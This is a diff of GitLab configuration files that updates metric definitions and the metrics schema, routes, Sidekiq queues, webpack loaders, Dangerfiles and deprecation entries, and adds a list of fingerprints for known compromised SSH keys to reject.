--- a/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_schedules
-description: Total monthly Pipeline schedules in GitLab
+description: Distinct users creating pipeline schedules in a month
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_28d/20210216175556_ci_triggers.yml b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
index 4fd645a39cd..a7c21eba666 100644
--- a/config/metrics/counts_28d/20210216175556_ci_triggers.yml
+++ b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage_monthly.verify.ci_triggers
-description: Total configured Triggers in project
+description: Distinct users creating pipeline triggers in a month
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216175525_ci_builds.yml b/config/metrics/counts_all/20210216175525_ci_builds.yml
index 37ffe117ede..bae726ec222 100644
--- a/config/metrics/counts_all/20210216175525_ci_builds.yml
+++ b/config/metrics/counts_all/20210216175525_ci_builds.yml
@@ -1,7 +1,7 @@
---
data_category: operational
key_path: usage_activity_by_stage.verify.ci_builds
-description: Unique count of builds in project
+description: Distinct users triggering jobs
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
index d393fd3e924..c0ba52c36fa 100644
--- a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
+++ b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage.verify.ci_external_pipelines
-description: Total pipelines in external repositories
+description: Distinct users triggering pipelines in external repositories
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
index 0114bf5a9f2..4b126eb82b9 100644
--- a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
+++ b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage.verify.ci_internal_pipelines
-description: Total pipelines in GitLab repositories
+description: Distinct users triggering pipelines in internal repositories
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
index 99e59274094..df4fad9881a 100644
--- a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage.verify.ci_pipeline_schedules
-description: Pipeline schedules in GitLab
+description: Distinct users creating pipeline schedules
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216175539_ci_triggers.yml b/config/metrics/counts_all/20210216175539_ci_triggers.yml
index e28a8487c04..485d965a428 100644
--- a/config/metrics/counts_all/20210216175539_ci_triggers.yml
+++ b/config/metrics/counts_all/20210216175539_ci_triggers.yml
@@ -1,7 +1,7 @@
---
data_category: optional
key_path: usage_activity_by_stage.verify.ci_triggers
-description: Total configured Triggers in project
+description: Distinct users creating pipeline triggers
product_section: ops
product_stage: verify
product_group: pipeline_execution
diff --git a/config/metrics/counts_all/20210216181055_projects_with_packages.yml b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
index efee3ba55ce..5862f6b4ca5 100644
--- a/config/metrics/counts_all/20210216181055_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
@@ -9,7 +9,7 @@ product_category: package registry
value_type: number
status: active
time_frame: all
-data_source: redis
+data_source: database
distribution:
- ee
- ce
diff --git a/config/metrics/counts_all/20221209212603_projects_inheriting_apple_app_store_active.yml b/config/metrics/counts_all/20221209212603_projects_inheriting_apple_app_store_active.yml
new file mode 100644
index 00000000000..5e00246a15c
--- /dev/null
+++ b/config/metrics/counts_all/20221209212603_projects_inheriting_apple_app_store_active.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.projects_inheriting_apple_app_store_active
+description: Count of active projects inheriting integrations for Apple App Store
+product_section: dev
+product_stage: manage
+product_group: integrations
+product_category: integrations
+value_type: number
+status: active
+milestone: "15.8"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+time_frame: all
+data_source: database
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20221209213642_groups_apple_app_store_active.yml b/config/metrics/counts_all/20221209213642_groups_apple_app_store_active.yml
new file mode 100644
index 00000000000..9099752c62c
--- /dev/null
+++ b/config/metrics/counts_all/20221209213642_groups_apple_app_store_active.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.groups_apple_app_store_active
+description: Count of active groups inheriting integrations for Apple App Store
+product_section: dev
+product_stage: manage
+product_group: integrations
+product_category: integrations
+value_type: number
+status: active
+milestone: "15.8"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+time_frame: all
+data_source: database
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20221209214020_projects_apple_app_store_active.yml b/config/metrics/counts_all/20221209214020_projects_apple_app_store_active.yml
new file mode 100644
index 00000000000..92e9acbcca0
--- /dev/null
+++ b/config/metrics/counts_all/20221209214020_projects_apple_app_store_active.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.projects_apple_app_store_active
+description: Count of projects with active integrations for Apple App Store
+product_section: dev
+product_stage: manage
+product_group: integrations
+product_category: integrations
+value_type: number
+status: active
+milestone: "15.8"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+time_frame: all
+data_source: database
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20221209233053_groups_inheriting_apple_app_store_active.yml b/config/metrics/counts_all/20221209233053_groups_inheriting_apple_app_store_active.yml
new file mode 100644
index 00000000000..f7835a4e072
--- /dev/null
+++ b/config/metrics/counts_all/20221209233053_groups_inheriting_apple_app_store_active.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.groups_inheriting_apple_app_store_active
+description: Count of active groups inheriting integrations for Apple App Store
+product_section: dev
+product_stage: manage
+product_group: integrations
+product_category: integrations
+value_type: number
+status: active
+milestone: "15.8"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+time_frame: all
+data_source: database
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20221209233201_instances_apple_app_store_active.yml b/config/metrics/counts_all/20221209233201_instances_apple_app_store_active.yml
new file mode 100644
index 00000000000..436f869cf0d
--- /dev/null
+++ b/config/metrics/counts_all/20221209233201_instances_apple_app_store_active.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.instances_apple_app_store_active
+description: Count of instances with active integrations for Apple App Store
+product_section: dev
+product_stage: manage
+product_group: integrations
+product_category: integrations
+value_type: number
+status: active
+milestone: "15.8"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104888
+time_frame: all
+data_source: database
+data_category: optional
+performance_indicator_type: []
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/schema.json b/config/metrics/schema.json
index 8991385b714..f4594dcc2d2 100644
--- a/config/metrics/schema.json
+++ b/config/metrics/schema.json
@@ -1,69 +1,138 @@
{
"type": "object",
- "required": ["key_path", "description", "value_type", "status", "product_group", "product_section", "product_stage", "time_frame", "data_source", "distribution", "tier", "data_category", "milestone"],
+ "required": [
+ "key_path",
+ "description",
+ "value_type",
+ "status",
+ "product_group",
+ "product_section",
+ "product_stage",
+ "time_frame",
+ "data_source",
+ "distribution",
+ "tier",
+ "data_category",
+ "milestone"
+ ],
"properties": {
"key_path": {
"type": "string"
},
"name": {
- "type": ["string", "null"],
+ "type": [
+ "string",
+ "null"
+ ],
"pattern": "^([a-z]+_)*[a-z]+$"
},
"description": {
"type": "string"
},
"product_section": {
- "type": ["string"]
+ "type": [
+ "string"
+ ]
},
"product_stage": {
- "type": ["string"]
+ "type": [
+ "string"
+ ]
},
"product_group": {
"type": "string",
"pattern": "^$|^([a-z]+_)*[a-z]+$"
},
"product_category": {
- "type": ["string", "null"]
+ "type": [
+ "string",
+ "null"
+ ]
},
"value_type": {
"type": "string",
- "enum": ["string", "number", "boolean", "object"]
+ "enum": [
+ "string",
+ "number",
+ "boolean",
+ "object"
+ ]
},
"status": {
- "type": ["string"],
- "enum": ["active", "removed", "broken"]
+ "type": [
+ "string"
+ ],
+ "enum": [
+ "active",
+ "removed",
+ "broken"
+ ]
},
"milestone": {
- "type": ["string"],
+ "type": [
+ "string"
+ ],
"pattern": "^<?[0-9]+\\.[0-9]+$"
},
"milestone_removed": {
- "type": ["string", "null"],
+ "type": [
+ "string",
+ "null"
+ ],
"pattern": "^[0-9]+\\.[0-9]+$"
},
"introduced_by_url": {
- "type": ["string", "null"]
+ "type": [
+ "string",
+ "null"
+ ]
},
"removed_by_url": {
- "type": ["string", "null"]
+ "type": [
+ "string",
+ "null"
+ ]
},
"repair_issue_url": {
- "type": ["string"]
+ "type": [
+ "string"
+ ]
},
"options": {
"type": "object"
},
"time_frame": {
"type": "string",
- "enum": ["7d", "28d", "all", "none"]
+ "enum": [
+ "7d",
+ "28d",
+ "all",
+ "none"
+ ]
},
"data_source": {
"type": "string",
- "enum": ["database", "redis", "redis_hll", "prometheus", "system", "license"]
+ "enum": [
+ "database",
+ "redis",
+ "redis_hll",
+ "prometheus",
+ "system",
+ "license"
+ ]
},
"data_category": {
"type": "string",
- "enum": ["Operational", "Optional", "Subscription", "Standard", "operational", "optional", "subscription", "standard"]
+ "enum": [
+ "Operational",
+ "Optional",
+ "Subscription",
+ "Standard",
+ "operational",
+ "optional",
+ "subscription",
+ "standard"
+ ]
},
"instrumentation_class": {
"type": "string",
@@ -73,21 +142,38 @@
"type": "array",
"items": {
"type": "string",
- "enum": ["ee", "ce"]
+ "enum": [
+ "ee",
+ "ce"
+ ]
}
},
"performance_indicator_type": {
"type": "array",
"items": {
"type": "string",
- "enum": ["gmau", "smau", "paid_gmau", "umau"]
+ "enum": [
+ "gmau",
+ "smau",
+ "paid_gmau",
+ "umau",
+ "customer_health_score"
+ ]
}
},
"tier": {
"type": "array",
"items": {
"type": "string",
- "enum": ["free", "starter", "premium", "ultimate", "bronze", "silver", "gold"]
+ "enum": [
+ "free",
+ "starter",
+ "premium",
+ "ultimate",
+ "bronze",
+ "silver",
+ "gold"
+ ]
}
},
"skip_validation": {
@@ -101,12 +187,16 @@
{
"if": {
"properties": {
- "status": { "const": "broken" }
+ "status": {
+ "const": "broken"
+ }
}
},
"then": {
- "required": ["repair_issue_url"]
+ "required": [
+ "repair_issue_url"
+ ]
}
}
]
-}
+} \ No newline at end of file
diff --git a/config/routes.rb b/config/routes.rb
index a9cb462b326..7569bce530a 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -210,7 +210,11 @@ InitializerConnections.with_disabled_database_connections do
end
# Spam reports
- resources :abuse_reports, only: [:new, :create]
+ resources :abuse_reports, only: [:new, :create] do
+ collection do
+ post :add_category
+ end
+ end
# JWKS (JSON Web Key Set) endpoint
# Used by third parties to verify CI_JOB_JWT
diff --git a/config/routes/group.rb b/config/routes/group.rb
index 819db0bb6b1..582f8bf9471 100644
--- a/config/routes/group.rb
+++ b/config/routes/group.rb
@@ -124,9 +124,8 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
resources :email_campaigns, only: :index
namespace :observability do
- get 'dashboards'
get 'explore'
- get 'manage'
+ get 'datasources'
end
namespace :harbor do
diff --git a/config/routes/import.rb b/config/routes/import.rb
index 004839d22a7..b319e6ca223 100644
--- a/config/routes/import.rb
+++ b/config/routes/import.rb
@@ -12,8 +12,6 @@ end
namespace :import do
resources :history, only: [:index], controller: :history
- resources :available_namespaces, only: [:index], controller: :available_namespaces
-
namespace :url do
post :validate
end
diff --git a/config/routes/uploads.rb b/config/routes/uploads.rb
index 7b598e84975..52c67a705dc 100644
--- a/config/routes/uploads.rb
+++ b/config/routes/uploads.rb
@@ -4,7 +4,7 @@ scope path: :uploads do
# Note attachments and User/Group/Project/Topic avatars
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
- constraints: { model: %r{note|user|group|project|projects\/topic}, mounted_as: /avatar|attachment/, filename: %r{[^/]+} }
+ constraints: { model: %r{note|user|group|project|projects\/topic|achievements\/achievement}, mounted_as: /avatar|attachment/, filename: %r{[^/]+} }
# show uploads for models, snippets (notes) available for now
get '-/system/:model/:id/:secret/:filename',
@@ -19,7 +19,7 @@ scope path: :uploads do
# Appearance
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
- constraints: { model: /appearance/, mounted_as: /logo|header_logo|favicon/, filename: /.+/ },
+ constraints: { model: /appearance/, mounted_as: /logo|header_logo|pwa_icon|favicon/, filename: /.+/ },
as: 'appearance_upload'
# create uploads for models, snippets (notes) available for now
diff --git a/config/security/banned_ssh_keys.yml b/config/security/banned_ssh_keys.yml
new file mode 100644
index 00000000000..80d794d1731
--- /dev/null
+++ b/config/security/banned_ssh_keys.yml
@@ -0,0 +1,16 @@
+---
+# https://github.com/rapid7/ssh-badkeys/tree/master/authorized
+# https://www.ctrlu.net/vuln/0006.html
+rsa:
+ - SHA256:Z+q4XhSwWY7q0BIDVPR1v/S306FjGBsid7tLq/8kIxM
+ - SHA256:uy5wXyEgbRCGsk23+J6f85om7G55Cu3UIPwC7oMZhNQ
+ - SHA256:9prMbqhS4QteoFQ1ZRJDqSBLWoHXPyKB0iWR05Ghro4
+ - SHA256:1M4RzhMyWuFS/86uPY/ce2prh/dVTHW7iD2RhpquOZA
+ - SHA256:2ewGtK7Dc8XpnfNKShczdc8HSgoEGpoX+MiJkfH2p5I
+dsa:
+ - SHA256:/JLp6z6uGE3BPcs70RQob6QOdEWQ6nDC0xY7ejPOCc0
+ - SHA256:whDP3xjKBEettbDuecxtGsfWBST+78gb6McdB9P7jCU
+ - SHA256:MEc4HfsOlMqJ3/9QMTmrKn5Xj/yfnMITMW8EwfUfTww
+ - SHA256:aPoYT2nPIfhqv6BIlbCCpbDjirBxaDFOtPfZ2K20uWw
+ - SHA256:VtjqZ5fiaeoZ3mXOYi49Lk9aO31iT4pahKFP9JPiQPc
+...
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index 929df749422..b542ba45aa8 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -113,6 +113,8 @@
- 1
- - container_repository_delete
- 1
+- - counters_cleanup_refresh
+ - 1
- - create_commit_signature
- 2
- - create_github_webhook
@@ -209,8 +211,6 @@
- 1
- - gitlab_shell
- 2
-- - gitlab_subscriptions_notify_seats_exceeded
- - 1
- - gitlab_subscriptions_trials_apply_trial
- 1
- - google_cloud_create_cloudsql_instance
@@ -409,6 +409,8 @@
- 1
- - projects_delete_branch
- 1
+- - projects_finalize_project_statistics_refresh
+ - 1
- - projects_git_garbage_collect
- 1
- - projects_import_export_parallel_project_export
diff --git a/config/webpack.config.js b/config/webpack.config.js
index a0c65ed4012..fd58e22bb99 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -312,22 +312,27 @@ module.exports = {
test: /\.mjs$/,
use: [],
},
+ {
+ test: /(@cubejs-client\/vue).*\.(js)?$/,
+ include: /node_modules/,
+ loader: 'babel-loader',
+ },
WEBPACK_USE_ESBUILD_LOADER && {
- test: /\.js$/,
+ test: /\.(js|cjs)$/,
exclude: (modulePath) =>
/node_modules|vendor[\\/]assets/.test(modulePath) && !/\.vue\.js/.test(modulePath),
loader: 'esbuild-loader',
options: esbuildConfiguration,
},
!WEBPACK_USE_ESBUILD_LOADER && {
- test: /\.js$/,
+ test: /\.(js|cjs)$/,
exclude: (modulePath) =>
/node_modules|vendor[\\/]assets/.test(modulePath) && !/\.vue\.js/.test(modulePath),
loader: 'babel-loader',
options: defaultJsOptions,
},
WEBPACK_USE_ESBUILD_LOADER && {
- test: /\.js$/,
+ test: /\.(js|cjs)$/,
include: (modulePath) =>
/node_modules\/(monaco-worker-manager|monaco-marker-data-provider)\/index\.js/.test(
modulePath,
@@ -336,7 +341,7 @@ module.exports = {
options: esbuildConfiguration,
},
!WEBPACK_USE_ESBUILD_LOADER && {
- test: /\.js$/,
+ test: /\.(js|cjs)$/,
include: (modulePath) =>
/node_modules\/(monaco-worker-manager|monaco-marker-data-provider)\/index\.js/.test(
modulePath,
diff --git a/danger/ci_templates/Dangerfile b/danger/ci_templates/Dangerfile
index ace9905e91d..bc8bba388c6 100644
--- a/danger/ci_templates/Dangerfile
+++ b/danger/ci_templates/Dangerfile
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-TEMPLATE_MESSAGE = <<~MSG
+CI_CD_TEMPLATE_MESSAGE = <<~MSG
This merge request requires a CI/CD Template review. To make sure these
changes are reviewed, take the following steps:
@@ -11,7 +11,7 @@ changes are reviewed, take the following steps:
1. Assign and `@` mention the CI/CD Template reviewer suggested by Reviewer Roulette.
MSG
-TEMPLATE_FILES_MESSAGE = <<~MSG
+CI_CD_TEMPLATE_FILES_MESSAGE = <<~MSG
The following files require a review from the CI/CD Templates maintainers:
MSG
@@ -20,9 +20,12 @@ return unless helper.ci?
template_paths_to_review = helper.changes_by_category[:ci_template]
if helper.mr_labels.include?('ci::templates') || template_paths_to_review.any?
- message 'This merge request adds or changes files that require a ' \
- 'review from the CI/CD Templates maintainers.'
+ message('This merge request adds or changes files that require a ' \
+ 'review from the CI/CD Templates maintainers.')
- markdown(TEMPLATE_MESSAGE)
- markdown(TEMPLATE_FILES_MESSAGE + helper.markdown_list(template_paths_to_review)) if template_paths_to_review.any?
+ markdown(CI_CD_TEMPLATE_MESSAGE)
+
+ if template_paths_to_review.any?
+ markdown(CI_CD_TEMPLATE_FILES_MESSAGE + helper.markdown_list(template_paths_to_review))
+ end
end
diff --git a/danger/gitaly/Dangerfile b/danger/gitaly/Dangerfile
index 59e55845c83..d7ff8d6446a 100644
--- a/danger/gitaly/Dangerfile
+++ b/danger/gitaly/Dangerfile
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-TEMPLATE_MESSAGE = <<~MSG
+GITALY_COORDINATION_MESSAGE = <<~MSG
This merge request requires coordination with gitaly deployments.
Before merging this merge request we should verify that gitaly
running in production already implements the new gRPC interface
@@ -18,5 +18,5 @@ changed_lines = helper.changed_lines('Gemfile.lock')
if changed_lines.any? { |line| line =~ /^\+\s+gitaly \(/ }
warn 'Changing gitaly gem can cause a multi-version incompatibility incident'
- markdown(TEMPLATE_MESSAGE)
+ markdown(GITALY_COORDINATION_MESSAGE)
end
diff --git a/danger/pipeline/Dangerfile b/danger/pipeline/Dangerfile
index 2fffd94be2e..c61fca86beb 100644
--- a/danger/pipeline/Dangerfile
+++ b/danger/pipeline/Dangerfile
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-MESSAGE = <<~MESSAGE
+PIPELINE_CHANGES_MESSAGE = <<~MSG
## Pipeline Changes
This merge request contains changes to the pipeline configuration for the GitLab project.
@@ -15,8 +15,8 @@ Please consider the effect of the changes in this merge request on the following
- Effects on [pipeline performance](https://about.gitlab.com/handbook/engineering/quality/performance-indicators/#average-merge-request-pipeline-duration-for-gitlab)
Please consider communicating these changes to the broader team following the [communication guideline for pipeline changes](https://about.gitlab.com/handbook/engineering/quality/engineering-productivity/#pipeline-changes)
-MESSAGE
+MSG
if helper.has_ci_changes?
- markdown(MESSAGE)
+ markdown(PIPELINE_CHANGES_MESSAGE)
end
diff --git a/danger/plugins/user_types.rb b/danger/plugins/user_types.rb
deleted file mode 100644
index 4f7dd572224..00000000000
--- a/danger/plugins/user_types.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-require_relative '../../tooling/danger/user_types'
-
-module Danger
- class UserTypes < ::Danger::Plugin
- include Tooling::Danger::UserTypes
- end
-end
diff --git a/danger/user_types/Dangerfile b/danger/user_types/Dangerfile
deleted file mode 100644
index 4b7ab1dbe39..00000000000
--- a/danger/user_types/Dangerfile
+++ /dev/null
@@ -1,3 +0,0 @@
-# frozen_string_literal: true
-
-user_types.bot_user_types_change_warning
diff --git a/data/deprecations/14-0-nfs-fot-git-repository-storage.yml b/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
index b0746502713..31d98169730 100644
--- a/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
+++ b/data/deprecations/14-0-nfs-fot-git-repository-storage.yml
@@ -1,8 +1,6 @@
- title: "NFS for Git repository storage" # The name of the feature to be deprecated
announcement_milestone: "14.0" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-06-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "15.6" # The milestone when this feature is planned to be removed
- removal_date: "2022-11-22" # (optional - may be required in the future) YYYY-MM-DD format - the date of the milestone release when this feature is planned to be removed
breaking_change: false
body: | # Do not modify this line, instead modify the lines below.
With the general availability of Gitaly Cluster ([introduced in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/)), we have deprecated development (bugfixes, performance improvements, etc) for NFS for Git repository storage in GitLab 14.0. We will continue to provide technical support for NFS for Git repositories throughout 14.x, but we will remove all support for NFS on November 22, 2022. This was originally planned for May 22, 2022, but in an effort to allow continued maturity of Gitaly Cluster, we have chosen to extend our deprecation of support date. Please see our official [Statement of Support](https://about.gitlab.com/support/statement-of-support/#gitaly-and-nfs) for further information.
diff --git a/data/deprecations/14-10-dependency-scanning-default-java-version.yml b/data/deprecations/14-10-dependency-scanning-default-java-version.yml
index c0ef84a562e..7379ac662d8 100644
--- a/data/deprecations/14-10-dependency-scanning-default-java-version.yml
+++ b/data/deprecations/14-10-dependency-scanning-default-java-version.yml
@@ -1,8 +1,6 @@
- title: "Dependency Scanning default Java version changed to 17"
announcement_milestone: "14.10"
- announcement_date: "2022-04-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
reporter: NicoleSchwartz
body: |
diff --git a/data/deprecations/14-10-deprecate-toggle-notes-confidentiality.yml b/data/deprecations/14-10-deprecate-toggle-notes-confidentiality.yml
index 8a4dcd47e2c..6cce38a0b39 100644
--- a/data/deprecations/14-10-deprecate-toggle-notes-confidentiality.yml
+++ b/data/deprecations/14-10-deprecate-toggle-notes-confidentiality.yml
@@ -1,8 +1,6 @@
- title: "Toggle notes confidentiality on APIs"
announcement_milestone: "14.10" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-03-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
Toggling notes confidentiality with REST and GraphQL APIs is being deprecated. Updating notes confidential attribute is no longer supported by any means. We are changing this to simplify the experience and prevent private information from being unintentionally exposed.
diff --git a/data/deprecations/14-10-old-search-migration-removal.yml b/data/deprecations/14-10-old-search-migration-removal.yml
index dd6161c2414..1991c0ef177 100644
--- a/data/deprecations/14-10-old-search-migration-removal.yml
+++ b/data/deprecations/14-10-old-search-migration-removal.yml
@@ -1,8 +1,6 @@
- title: "Outdated indices of Advanced Search migrations"
announcement_milestone: "14.10"
- announcement_date: "2021-04-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: |
As Advanced Search migrations usually require support multiple code paths for a long period of time, it’s important to clean those up when we safely can. We use GitLab major version upgrades as a safe time to remove backward compatibility for indices that have not been fully migrated. See the [upgrade documentation](https://docs.gitlab.com/ee/update/index.html#upgrading-to-a-new-major-version) for details.
diff --git a/data/deprecations/14-2-deprecation-release-cli.yml b/data/deprecations/14-2-deprecation-release-cli.yml
index f937728b944..205817a7b47 100644
--- a/data/deprecations/14-2-deprecation-release-cli.yml
+++ b/data/deprecations/14-2-deprecation-release-cli.yml
@@ -1,8 +1,6 @@
- title: "Release CLI distributed as a generic package" # The name of the feature to be deprecated
announcement_milestone: "14.2" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-08-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "14.6" # The milestone when this feature is planned to be removed
- removal_date: "2021-12-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: false
body: | # Do not modify this line, instead modify the lines below.
The [release-cli](https://gitlab.com/gitlab-org/release-cli) will be released as a [generic package](https://gitlab.com/gitlab-org/release-cli/-/packages) starting in GitLab 14.2. We will continue to deploy it as a binary to S3 until GitLab 14.5 and stop distributing it in S3 in GitLab 14.6.
diff --git a/data/deprecations/14-2-deprecation-task-runner.yml b/data/deprecations/14-2-deprecation-task-runner.yml
index b69fb0969d5..c84cd40e33e 100644
--- a/data/deprecations/14-2-deprecation-task-runner.yml
+++ b/data/deprecations/14-2-deprecation-task-runner.yml
@@ -1,8 +1,6 @@
- title: "Rename Task Runner pod to Toolbox" # The name of the feature to be deprecated
announcement_milestone: "14.2" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-08-22" # The date of the milestone release when this feature was first announced as deprecated
removal_milestone: "14.5" # The milestone when this feature is planned to be removed
- removal_date: "2021-11-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: false
body: | # Do not modify this line, instead modify the lines below.
The Task Runner pod is used to execute periodic housekeeping tasks within the GitLab application and is often confused with the GitLab Runner. Thus, [Task Runner will be renamed to Toolbox](https://gitlab.com/groups/gitlab-org/charts/-/epics/25).
diff --git a/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml b/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
index 829e1b39b0f..97af3e39009 100644
--- a/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
+++ b/data/deprecations/14-3-database-deprecate-legacy-database-conf.yml
@@ -1,8 +1,6 @@
- title: "Legacy database configuration"
announcement_milestone: "14.3"
- announcement_date: "2021-09-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: |
The syntax of [GitLabs database](https://docs.gitlab.com/omnibus/settings/database.html)
diff --git a/data/deprecations/14-3-deprecation_omniauth-kerberos_gem.yml b/data/deprecations/14-3-deprecation_omniauth-kerberos_gem.yml
index 5f28497e982..31ac99335b5 100644
--- a/data/deprecations/14-3-deprecation_omniauth-kerberos_gem.yml
+++ b/data/deprecations/14-3-deprecation_omniauth-kerberos_gem.yml
@@ -1,8 +1,6 @@
- title: "OmniAuth Kerberos gem"
announcement_milestone: "14.3"
- announcement_date: "2021-09-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The `omniauth-kerberos` gem will be removed in our next major release, GitLab 15.0.
diff --git a/data/deprecations/14-3-repository-push-audit-events.yml b/data/deprecations/14-3-repository-push-audit-events.yml
index bec376121da..4f8ace11a3e 100644
--- a/data/deprecations/14-3-repository-push-audit-events.yml
+++ b/data/deprecations/14-3-repository-push-audit-events.yml
@@ -1,8 +1,6 @@
- title: "Audit events for repository push events"
announcement_milestone: "14.3" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-09-22" # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69024
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
Audit events for [repository events](https://docs.gitlab.com/ee/administration/audit_events.html#removed-events) are now deprecated and will be removed in GitLab 15.0.
diff --git a/data/deprecations/14-3-serverless.yml b/data/deprecations/14-3-serverless.yml
index 55a702c4d27..28e942cc65f 100644
--- a/data/deprecations/14-3-serverless.yml
+++ b/data/deprecations/14-3-serverless.yml
@@ -1,8 +1,6 @@
- title: "GitLab Serverless"
announcement_milestone: "14.3"
- announcement_date: "2021-09-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: |
GitLab Serverless is a feature set to support Knative-based serverless development with automatic deployments and monitoring.
diff --git a/data/deprecations/14-5-certificate-based-integration-with-kubernetes-saas.yml b/data/deprecations/14-5-certificate-based-integration-with-kubernetes-saas.yml
index 32e9f61db0c..216568b6d19 100644
--- a/data/deprecations/14-5-certificate-based-integration-with-kubernetes-saas.yml
+++ b/data/deprecations/14-5-certificate-based-integration-with-kubernetes-saas.yml
@@ -1,8 +1,6 @@
- title: "SaaS certificate-based integration with Kubernetes"
announcement_milestone: "14.5"
- announcement_date: "2021-11-15"
removal_milestone: "15.9"
- removal_date: "2023-02-22" # the date of the milestone release when this feature is planned to be removed
breaking_change: true
body: |
The certificate-based integration with Kubernetes will be [deprecated and removed](https://about.gitlab.com/blog/2021/11/15/deprecating-the-cert-based-kubernetes-integration/). As a GitLab SaaS customer, on new namespaces, you will no longer be able to integrate GitLab and your cluster using the certificate-based approach as of GitLab 15.0. The integration for current users will be enabled per namespace.
